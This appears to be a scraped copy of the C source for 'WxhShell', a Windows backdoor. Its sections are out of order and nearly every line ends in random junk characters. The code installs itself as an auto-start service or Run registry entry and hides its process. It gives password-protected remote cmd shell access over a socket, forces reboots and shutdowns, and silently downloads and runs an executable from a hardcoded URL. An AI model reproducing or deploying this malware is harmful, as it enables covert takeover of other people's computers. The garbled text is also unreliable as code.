    if(Boot(SHUTDOWN)) -_5Dk'R#`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8CUtY9.  
    else { Gkem_Z  
    closesocket(wsh); T%6JVFD  
    ExitThread(0); "X2'k@s`  
    } kOD=H-vSi  
    break; a<\n$E#q  
    } D|)_c1g  
  // 获取shell lCp6UkE  
  case 's': { C/Z#NP~ *  
    CmdShell(wsh); ;BH.,{*@B  
    closesocket(wsh); .G\](%  
    ExitThread(0); :qbU@)p*  
    break; $RY-yKmi  
  } u_' -vZ_  
  // 退出 DoQ^caa@  
  case 'x': { ;6pB7N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ):>?N`{V  
    CloseIt(wsh); k6ry"W3  
    break; YAT@xZs-  
    } n5UUoBv  
  // 离开 /fb}]e]N  
  case 'q': { mJ<`/p?:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P:.jb!ZU  
    closesocket(wsh); Ya\:C]   
    WSACleanup(); e_Hpai<b  
    exit(1); !`?i>k?Q E  
    break; i'H]N8,A  
        } 5Z; 5?\g  
  } F}45.C rD  
  } Bc }o3oc  
[T =>QS@g  
  // 提示信息 NN'pBU R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $zCCeRP  
} l3F$5n  
  } >YWK"~|i~  
\ .#Y  
  return; &}e>JgBe0  
} r D <T  
duEXp]f!  
// shell模块句柄 fiWN^sTM  
int CmdShell(SOCKET sock) X [dfms;H  
{ ;-~E !_$  
STARTUPINFO si; &t<g K D  
ZeroMemory(&si,sizeof(si)); o5&b'WUJ=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : pUu_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .tG3g:  
PROCESS_INFORMATION ProcessInfo; ,hI$nF0}p  
char cmdline[]="cmd"; vFdI?(c-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gn^lF7yE  
  return 0; @br)m](@  
} vb>F)po1}  
sS ?A<D  
// 自身启动模式 d)!'5Zr M  
int StartFromService(void) p1d%&e  
{ /}E2Rr?{  
typedef struct %<DdX*Qp  
{ }FS_"0  
  DWORD ExitStatus; D8,8j;  
  DWORD PebBaseAddress; iy]L"7&Z2  
  DWORD AffinityMask; S`5bcxI_  
  DWORD BasePriority; bi+M28m  
  ULONG UniqueProcessId; aQL0Sj:,  
  ULONG InheritedFromUniqueProcessId; :$K=LV#Iru  
}   PROCESS_BASIC_INFORMATION; lq_UCCnv5  
td%J.&K_*'  
PROCNTQSIP NtQueryInformationProcess; Pd&KAu|<`  
)-5eIy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )-[$m%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WZ6{9/%:  
JW0\y+o~  
  HANDLE             hProcess; q7KHx b  
  PROCESS_BASIC_INFORMATION pbi; c]x-mj =  
L:Rg3eo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kJuG haO  
  if(NULL == hInst ) return 0; dpq(=s`s  
:n13v @q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [LjiLKW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Xt""mlQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6T4DuF   
Ey: ?!  
  if (!NtQueryInformationProcess) return 0; "Y:>^F;  
&Wa3/mWK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); azIhp{rH w  
  if(!hProcess) return 0; i@rUZYF  
l#v52  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z{ eZsh b  
jSvq1$U  
  CloseHandle(hProcess); f:\)! &W  
$*X?]?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DjK7_'7(L  
if(hProcess==NULL) return 0; :l]qTCmY  
&1T)'Bn  
HMODULE hMod; 3xz~##  
char procName[255]; W"@'}y  
unsigned long cbNeeded; ~fD\=- S1  
%,vq@..^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zdPJ>PNU  
F5:xrcyC  
  CloseHandle(hProcess); Sd ^I >;  
2Cy,#X%j>  
if(strstr(procName,"services")) return 1; // 以服务启动 z@e(y@  
s'N<  
  return 0; // 注册表启动 [! ;sp~  
}  t{},Th  
M} X `  
// 主模块 OHAU@*[lM  
int StartWxhshell(LPSTR lpCmdLine) }X8P5c!\  
{ #J/RI[a  
  SOCKET wsl; Ig!0 A}f  
BOOL val=TRUE; EMe1!)  
  int port=0; t=}]4&Yp  
  struct sockaddr_in door; rZ(#t{]=!  
.zdaY, U  
  if(wscfg.ws_autoins) Install(); ,S d j"C  
6e\?%,H  
port=atoi(lpCmdLine); 1qAE)8ie  
L;*7p9  
if(port<=0) port=wscfg.ws_port; %-fXa2  
36co 'a4,  
  WSADATA data; {_(R?V]w,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xa>'DO2  
om`B:=+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Cq4r4'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;&|I/MVm  
  door.sin_family = AF_INET; ]SAY\;,_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1mtYap4  
  door.sin_port = htons(port); khR[8j..  
}XUI1H]jk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4=^Ha%l  
closesocket(wsl); ]Zh$9YK  
return 1; ]pB5cq7o  
} Zbr e5&aU  
`'iO+/;GY  
  if(listen(wsl,2) == INVALID_SOCKET) { m.ka%h$  
closesocket(wsl); r$4d4xtK  
return 1; E7R%G OH  
} 0OG 3#pE  
  Wxhshell(wsl); )skpf%g  
  WSACleanup(); j< h1s%  
2K/t[.8  
return 0; {7oPDP  
o8:9Y js  
} \6 JY#%  
<tZtt9j_  
// 以NT服务方式启动 5#|&&$)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KAE %Wwjr  
{ ;TDvk ]:  
DWORD   status = 0; Jo[ &y,  
  DWORD   specificError = 0xfffffff; !jB}}&Ii  
6v scu2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _0u=}tc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JT<JS6vw#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'tkQz  
  serviceStatus.dwWin32ExitCode     = 0; MaPhG<?  
  serviceStatus.dwServiceSpecificExitCode = 0; @6~m&$R/  
  serviceStatus.dwCheckPoint       = 0; ;,]4A{|  
  serviceStatus.dwWaitHint       = 0; /#{~aCOi)  
qB@N|Bb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $;=^|I4E  
  if (hServiceStatusHandle==0) return; ktfxb <%  
J3oUtu  
status = GetLastError(); n4{?Odrf  
  if (status!=NO_ERROR) 4IOqSB|  
{ &x*l{s[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l{3zlXk3z  
    serviceStatus.dwCheckPoint       = 0; n?6^j8i  
    serviceStatus.dwWaitHint       = 0; _?felxG[  
    serviceStatus.dwWin32ExitCode     = status; %LHt{:9.  
    serviceStatus.dwServiceSpecificExitCode = specificError; )R<93`q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,@ p4HN*  
    return; 7~1Fy{tc  
  } CaED(0  
R86i2',  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nt&% sM-X  
  serviceStatus.dwCheckPoint       = 0; lUq `t K8  
  serviceStatus.dwWaitHint       = 0; Y cL((6A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  = v?V  
} YwH Fn+  
$!p2Kf>/Q  
// 处理NT服务事件,比如:启动、停止 @Kt!uKrI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l_04b];  
{ +6+1N)L  
switch(fdwControl) Kn1u1@&Xd  
{ ZBU<L+#  
case SERVICE_CONTROL_STOP: krlebPs[  
  serviceStatus.dwWin32ExitCode = 0; elKp?YN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OUN~7]OD%  
  serviceStatus.dwCheckPoint   = 0; O['[_1n_u]  
  serviceStatus.dwWaitHint     = 0; oMM@{Jp  
  { hqHk,#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8(NS;?  
  } =kq<J-:#R  
  return; {='wGx  
case SERVICE_CONTROL_PAUSE: n]w%bKc-9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )9/iH(  
  break; Xe`$SNM  
case SERVICE_CONTROL_CONTINUE: ^f(El(w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K4|fmgcy.  
  break; ebL0cK?  
case SERVICE_CONTROL_INTERROGATE: 75P!`9bE  
  break; &,Rye Q  
}; 7?_g m>]a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k&K'FaM!  
} K",Xe>  
v'`qn  
// 标准应用程序主函数 rOUQg_y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h;(mb2[R  
{ lt5Knz2G,Z  
(?T{^Hg  
// 获取操作系统版本 3-;<G  
OsIsNt=GetOsVer(); SFP?ND+7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6PWw^Cd  
rnMi >?  
  // 从命令行安装 n sN n>{  
  if(strpbrk(lpCmdLine,"iI")) Install(); a|dgK+[  
Zl!  
  // 下载执行文件 #QOb[9(Tu(  
if(wscfg.ws_downexe) { ?u{Mz9:?HT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !qH)ttW  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^{8CShUCv  
} X`E}2|q'  
{~\:4  
if(!OsIsNt) { t > 64^nS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ND e FY  
HideProc(); nhm#_3!6A  
StartWxhshell(lpCmdLine); fpzEh}:H\  
} 4eaH.&&  
else .",BLuce  
  if(StartFromService()) `'(@"-L:7  
  // 以服务方式启动 6|6O| <o  
  StartServiceCtrlDispatcher(DispatchTable); $`C$|9S  
else cI7aTLC"s  
  // 普通方式启动 Ms%C:KG  
  StartWxhshell(lpCmdLine); %f&Bt,xEo  
^s=F<_{  
return 0; yRhD<*  
} @@!]Raj=  
{pRa%DF  
c~\^C_  
[>Zg6q|  
=========================================== iP^[xB~v  
%N7G>_+  
ady SwB  
7=wQ#bq"1P  
#aP;a-Q|k  
#7J3,EV  
" !;k ^  
[[4!b E  
#include <stdio.h> 3)^ 2X  
#include <string.h> 0J5$ Yw1'F  
#include <windows.h> 8l?@ o  
#include <winsock2.h> PIsXX#`7;  
#include <winsvc.h> Cq\{\!6[  
#include <urlmon.h> VdL }$CX$  
Kt"4<'  
#pragma comment (lib, "Ws2_32.lib") Us>n`Lj@  
#pragma comment (lib, "urlmon.lib") ' #t1e]  
JQ]MkP  
#define MAX_USER   100 // 最大客户端连接数 [#:yOZt  
#define BUF_SOCK   200 // sock buffer p5nrPL  
#define KEY_BUFF   255 // 输入 buffer sY}0PB  
dr"@2=Z  
#define REBOOT     0   // 重启 ^h<ElK  
#define SHUTDOWN   1   // 关机 `V[ hE r|  
q^[SN  
#define DEF_PORT   5000 // 监听端口 0|rdI,z  
PXDJ[Oj7(0  
#define REG_LEN     16   // 注册表键长度 ,;=is.h9  
#define SVC_LEN     80   // NT服务名长度 <z wI@i  
 <j_  
// 从dll定义API gX5.u9%C\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # o\&G@e}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bU4\Yu   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1eS@ihkP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ei@al>.\  
|'L$ogt6  
// wxhshell配置信息 'EU|w,GL}  
struct WSCFG { 8PRB_ny  
  int ws_port;         // 监听端口 5XNFu C9E  
  char ws_passstr[REG_LEN]; // 口令 B@vup {Kg  
  int ws_autoins;       // 安装标记, 1=yes 0=no !ZN"(0#qz  
  char ws_regname[REG_LEN]; // 注册表键名 +ldgT"  
  char ws_svcname[REG_LEN]; // 服务名 3"6-X_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yyjgPbLN=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t$uj(y>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z8PV&o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W%#LHluP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M;0\fUh;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ':T"nORC  
?=Mg"QU  
}; s:sk`~2<gd  
).r04)/  
// default Wxhshell configuration g$Ns u:L  
struct WSCFG wscfg={DEF_PORT, ;q2e[y  
    "xuhuanlingzhe", z-kB!~r  
    1, !wjD6 NK  
    "Wxhshell", 8qq'q"g  
    "Wxhshell", GYri\<[  
            "WxhShell Service", +]# p m9  
    "Wrsky Windows CmdShell Service", 9q<?xO  
    "Please Input Your Password: ", /gLi(Uw  
  1, Zu^J X/um  
  "http://www.wrsky.com/wxhshell.exe", EMS$?"K  
  "Wxhshell.exe" Y &*nj`n  
    }; kc"SUiy/  
_ 3jY,*  
// 消息定义模块 `vrLFPdO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % wh>_Ho  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `S/;S<';  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TSP#.QY  
char *msg_ws_ext="\n\rExit."; ey[+"6Awne  
char *msg_ws_end="\n\rQuit."; d ?OsVT; U  
char *msg_ws_boot="\n\rReboot..."; {(`xA,El  
char *msg_ws_poff="\n\rShutdown..."; '.tg\]|  
char *msg_ws_down="\n\rSave to "; +dK;\wT  
VQ`a-DL  
char *msg_ws_err="\n\rErr!"; ljO t~@Ea  
char *msg_ws_ok="\n\rOK!"; 3C;nC?]K  
JwmH_nJ(  
char ExeFile[MAX_PATH]; 4kf8Am(  
int nUser = 0; P:HmT   
HANDLE handles[MAX_USER]; K2pW|@~U  
int OsIsNt; !bIhw}^C*  
r(/+- t  
SERVICE_STATUS       serviceStatus; Lc13PTz>>g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oyo V1jO  
k /lDE  
// 函数声明 UxVxnJ_  
int Install(void); +S}/ 6dg  
int Uninstall(void); ^y&sKO  
int DownloadFile(char *sURL, SOCKET wsh); R;2 Z~P  
int Boot(int flag); |jyoT%SQ  
void HideProc(void); =(>pv,  
int GetOsVer(void); p3{ 3[fDx  
int Wxhshell(SOCKET wsl); Q.L.B7'e7  
void TalkWithClient(void *cs); z] teQaUZ  
int CmdShell(SOCKET sock); Z"'tJ3Y.~  
int StartFromService(void); LO M-i>  
int StartWxhshell(LPSTR lpCmdLine); c{K[bppJ*  
$<s 3;>t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Ir = @  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [cf!%3>53  
I> z0)pB  
// 数据结构和表定义 i6D66E  
SERVICE_TABLE_ENTRY DispatchTable[] = 5KDN8pJN  
{ "\M^jO  
{wscfg.ws_svcname, NTServiceMain}, S -KHot ?  
{NULL, NULL} >-Q=o,cl%3  
}; $n@B:kv5p  
L)j<;{J/Q0  
// 自我安装 MFm2p?zPm  
int Install(void) !%%(o%bi~  
{ K-drN)o  
  char svExeFile[MAX_PATH]; +OC~y:  
  HKEY key; q`^ T7  
  strcpy(svExeFile,ExeFile);  q<Zza  
k'JfXrW<!  
// 如果是win9x系统,修改注册表设为自启动 =-|,v*  
if(!OsIsNt) { |jE0H!j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8P3"$2q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5]yby"Z?}  
  RegCloseKey(key); whvvc2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eUE(vn#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?MT " G  
  RegCloseKey(key); $^j#z^7  
  return 0; /L? ia  
    } 2io~pk>  
  } OtFGo 8  
} &i?>mt  
else { zsuXN*  
Ub-q0[6  
// 如果是NT以上系统,安装为系统服务 $ z 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eJwHeG  
if (schSCManager!=0) *3]_Huw<  
{ vX/("[  
  SC_HANDLE schService = CreateService 8xN+LL'T{  
  ( ]:r6  
  schSCManager, rGb<7b%  
  wscfg.ws_svcname, TQg~I/  
  wscfg.ws_svcdisp, %#$K P  
  SERVICE_ALL_ACCESS, }MXC0Z~si  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xb~8uD5  
  SERVICE_AUTO_START, @j|=M7B  
  SERVICE_ERROR_NORMAL,  c 1o8   
  svExeFile, E|v9khN(].  
  NULL, XPQY*.l&.  
  NULL, ;_Z[' %  
  NULL, (N :vDq'  
  NULL, c}r"O8M  
  NULL )7s(]~z  
  ); k~=_]sLn  
  if (schService!=0) \olYv!f  
  { I$w:qS&:  
  CloseServiceHandle(schService); Iu|4QE  
  CloseServiceHandle(schSCManager); X/' t1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w=feXA3-S  
  strcat(svExeFile,wscfg.ws_svcname); /@QPJ~%8Ud  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @pkQ2OM 2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N(=Z4Nk5  
  RegCloseKey(key); ap|$8 G  
  return 0; T_/ n#e  
    } 0l+[[ZTV  
  } * faG0le  
  CloseServiceHandle(schSCManager); <Po$|$_~  
} ATscP hk  
} f )Ef-o  
KO3X)D<3  
return 1; ur K~]68  
} AMf{E  
Jwt_d }ns  
// 自我卸载 j9^V)\6)  
int Uninstall(void) N83c+vs%c  
{ ;G|#i? JJ  
  HKEY key; yeqH eZ  
! n13B  
if(!OsIsNt) { 5~GH*!h%;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,zVS}!jRhy  
  RegDeleteValue(key,wscfg.ws_regname); ]m<z  
  RegCloseKey(key); >&%#`PKT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VtnVl`/]  
  RegDeleteValue(key,wscfg.ws_regname); PJ3M,2H1b.  
  RegCloseKey(key); '4"c#kCKL  
  return 0; GLWEoV9<  
  } $@^*lUw  
} v1}9i3Or#  
} ~6Pv5DKq  
else { 8$`$24Wx  
3}kG ]#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q@[UeXu?pZ  
if (schSCManager!=0) c.4WwzK  
{ IF'Tj`yD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o'J^kd`  
  if (schService!=0) *!m(oP  
  { v@ifB I  
  if(DeleteService(schService)!=0) { JpE7"Z"~MS  
  CloseServiceHandle(schService);  BDfJ  
  CloseServiceHandle(schSCManager); Ym|%ka  
  return 0; E)F#Z=)  
  } tg6iHFa  
  CloseServiceHandle(schService); /l>!7  
  } jT=fq'RK  
  CloseServiceHandle(schSCManager); CWY-}M  
} buKSZ  
} -]<<}@NF  
Nbb2wr9A  
return 1; 8@,8j!$8G  
} s((c@)M  
}?^]-`b  
// 从指定url下载文件 d}Xb8SaE%c  
int DownloadFile(char *sURL, SOCKET wsh) lsA?|4`mn  
{ -BcnJK0  
  HRESULT hr; {R8)DK  
char seps[]= "/"; sZPyEIXie  
char *token; I/* ULR,  
char *file; *BHp?cn;F2  
char myURL[MAX_PATH]; ~yiw{:\  
char myFILE[MAX_PATH]; U(/8dCyyY  
V@o#" gZ  
strcpy(myURL,sURL); {5 Sy=Y  
  token=strtok(myURL,seps); fUq:`#Q  
  while(token!=NULL) Zk~~`h  
  { 3HqTVq`&  
    file=token; pv8vW'G\E  
  token=strtok(NULL,seps); Y^tUcBm\  
  } ;a 6Z=LB  
[*U.bRs  
GetCurrentDirectory(MAX_PATH,myFILE); H5Bh?mw2  
strcat(myFILE, "\\"); 46U*70  
strcat(myFILE, file); RQYD#4|  
  send(wsh,myFILE,strlen(myFILE),0); o1R:1!"2  
send(wsh,"...",3,0); QjOY1Xze  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sB8v:  
  if(hr==S_OK) MO@XbPZB  
return 0; {Y|?~ha#  
else u0F{.fe  
return 1; MO%+rf0~w  
w8cbhc  
} 089v; d 6  
'U-8w@\Z  
// 系统电源模块 _ %G;^ b  
int Boot(int flag) lYT_Y.%I  
{ ?Ta<.j  
  HANDLE hToken; I%l2_hs0V  
  TOKEN_PRIVILEGES tkp; x>tsI}C  
-ImV Xy]?  
  if(OsIsNt) { YI>9C 76L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e$7KMH=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W`uq,r0Xsy  
    tkp.PrivilegeCount = 1; %UlgG 1?A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 35J VF*z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CbwQbJ/v7  
if(flag==REBOOT) { Pk>S;KT.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i0F6eqe=J  
  return 0; Qs ysy  
} j'`-3<k  
else { KW!+Ws  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g@Pq<   
  return 0; Y`."=8R~  
} P9W?sPnC5  
  } hP}-yW6]  
  else { /ke[nr  
if(flag==REBOOT) { wxJoWbn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <99/7>#  
  return 0; k$GtzjN  
} 4~Y?*|G]m  
else { "B>8on8O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (TU/EU5  
  return 0; 3L36 2  
} aNBwb9X  
} |w{C!Q8l  
a7!{`fR5  
return 1; ]k8f1F  
} f@2F!  
3$S~!fh  
// win9x进程隐藏模块 Xl:.`{5L  
void HideProc(void) a(kY,<}  
{ v 6s]X*l?  
^1yD&i'q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !%[fi[p  
  if ( hKernel != NULL ) hj}PL  
  { Nt\0) &b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^*w}+tB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "T*1C=  
    FreeLibrary(hKernel); sX-@ >%l  
  } 3m$ck$  
axOEL:-|Bu  
return; Y<V$3h  
} t37<<5A  
N<b~,[yCd>  
// 获取操作系统版本 BS ]:w(}[  
int GetOsVer(void) T;]Ob3(BpW  
{ AiB]A}  
  OSVERSIONINFO winfo; virt[5w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (\'$$  
  GetVersionEx(&winfo); zp5ZZcj_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o=6 <?v7  
  return 1; e]5NA?2j  
  else ^$X|Lq  
  return 0; {u+=K-Bj  
} ym+Ezb#o  
j#xGB]  
// 客户端句柄模块 "dT"6,  
int Wxhshell(SOCKET wsl) 10)RLh|+  
{ $f%om)  
  SOCKET wsh; 'rTJ*1i  
  struct sockaddr_in client; GaV}@Q  
  DWORD myID; qzEv!?)a  
&;~?\>?I  
  while(nUser<MAX_USER) YrYmPSb=  
{ 7dv!  
  int nSize=sizeof(client); 3 NFo=Z8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c3 )jsf  
  if(wsh==INVALID_SOCKET) return 1; iXq*EZb"R  
*Q)-"]O(k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " %qr*|  
if(handles[nUser]==0) :K5?&kT  
  closesocket(wsh); wWSo+40  
else 1xu~@v 60  
  nUser++; 1wm`a  
  } ^!x! F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8]oolA:^4s  
M6bM`wHH>  
  return 0; '1(6@5tyWk  
} CRD=7\0(D+  
Ql%B=vgKL  
// 关闭 socket UNK.39  
void CloseIt(SOCKET wsh) Nukyvse  
{ ANJL8t-m  
closesocket(wsh); tfu`_6  
nUser--; ! ,{zDMA  
ExitThread(0); b^&azUkMN  
} bWSc&/ 9y  
s 0_*^cZ  
// 客户端请求句柄 (> _Lb  
void TalkWithClient(void *cs) Zw _aeJ  
{ KCAV  
B:Ft(,  
  SOCKET wsh=(SOCKET)cs; a 9{:ot8,  
  char pwd[SVC_LEN]; _aBy>=2c$  
  char cmd[KEY_BUFF]; `SOQPAnK+;  
char chr[1]; RRpY%-8M  
int i,j; \yZVn6GVr  
i7Cuc+ j8  
  while (nUser < MAX_USER) { 3%Eu$|B  
H  XFY  
if(wscfg.ws_passstr) { z&B9Yu4M7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k14<E /  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o"FR% %  
  //ZeroMemory(pwd,KEY_BUFF); e!o\AB%d  
      i=0; '7/F]S0K  
  while(i<SVC_LEN) { N {~P}Sw  
em5~4;&'  
  // 设置超时 e&*b{>1*  
  fd_set FdRead; tW94\3)1  
  struct timeval TimeOut; O9E:QN<U`*  
  FD_ZERO(&FdRead); >3pT).wH|M  
  FD_SET(wsh,&FdRead); TOF V`7q;3  
  TimeOut.tv_sec=8; RwYFBc  
  TimeOut.tv_usec=0; j"hEs(t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S3i p?9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #oFyi @U  
YM6 J:89  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FRajo~H  
  pwd=chr[0]; UCK;?]  
  if(chr[0]==0xd || chr[0]==0xa) { 0[M2LF!m  
  pwd=0; |Olz h63k:  
  break; `/'p1?Z"  
  } _ E-\aS{  
  i++; =.&8ghJ*M  
    } K *{RGE  
[f! { -T  
  // 如果是非法用户,关闭 socket bJ 2>@|3*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dr(2@ 0P  
} MG~Z)+g=y  
a!/\:4-uc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X 6tJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;6D3>Lm  
JN4gH4ez)  
while(1) { e^3D`GA  
('Qq"cn#  
  ZeroMemory(cmd,KEY_BUFF); ok0ZI>=,  
|m6rF7Q  
      // 自动支持客户端 telnet标准   ]s\vc:cc?  
  j=0; c61OT@dZEA  
  while(j<KEY_BUFF) { Yj*T'<e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~CbiKez  
  cmd[j]=chr[0]; ^<-)rzTI  
  if(chr[0]==0xa || chr[0]==0xd) { %OB>FY:|  
  cmd[j]=0; IW&*3I<K  
  break; +Ugy=678Tr  
  } > Xh=P%  
  j++; jex\5  
    } !=PH5jTY  
@TD=or .&  
  // 下载文件 U#S-x5Gn  
  if(strstr(cmd,"http://")) { 2 oV6#!{Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F6111Q </  
  if(DownloadFile(cmd,wsh)) 1^*ogMe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4v |i\V>M  
  else D!! B4zt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yYYP;N?g4k  
  } ygj%VG  
  else { U~)5{  
:9ia|lN  
    switch(cmd[0]) { HR"clD\{Di  
  yj#FO'UY  
  // 帮助 ZS4dW_*[  
  case '?': { yo->mD  
